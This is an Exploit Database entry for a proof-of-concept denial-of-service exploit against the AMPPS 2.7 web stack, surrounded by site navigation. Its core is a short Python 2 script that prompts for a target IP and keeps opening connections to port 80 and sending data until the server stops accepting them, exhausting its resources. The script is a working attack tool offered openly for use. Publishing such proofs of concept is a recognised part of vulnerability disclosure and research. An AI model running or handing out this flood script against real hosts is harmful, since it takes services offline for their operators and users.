



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# AMPPS 2.7 - Denial of Service (PoC)

**EDB-ID:**

45850

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[IHSAN SENCAN](#)

**Type:**

[DOS](#)

**Exploit:**   / 

**Platform:**

[WINDOWS\\_X86-64](#)

**Date:**

2018-11-14

**Vulnerable App:**



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
# Exploit Title: AMPPS 2.7 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-12
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.ampps.com/
# Software Link: https://kent.dl.sourceforge.net/project/ampps/2.7/Ampps-2.7-setup.exe
# Version: 2.7
# Category: Dos
# Tested on: WiN7_x64/KaLiLinux_x64
# CVE: N/A

# POC:
# 1)

#!/usr/bin/python
import socket

print """
    \\|//
   \\ - - //
    ( @ @ )
  ----o00o--( )-o00o----
    AMPPS 2.7
    Ihsan Sencan
  -----00000-----
                    ( )
    oooo0         ) /
    ( )         ( /
     \ (
      \_)
"""""
Ip = raw_input("[Ip]: ")
Port = 80 # Default port

d=[]
c=0
while 1:
    try:
        d.append(socket.create_connection((Ip,Port)))
        d[c].send("BOOM")
        print "Sie!"
        c+=1
    except socket.error:
        print "Done!"
        raw_input()
        break
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING